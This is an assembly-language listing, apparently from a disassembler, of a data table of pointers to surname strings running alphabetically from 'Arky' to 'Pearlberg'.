		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner_0	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook_0	; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles_0	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField_0	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield_0	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson_0	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood_0	; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker_0	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry_0	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight_0	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda_0	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick_0	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
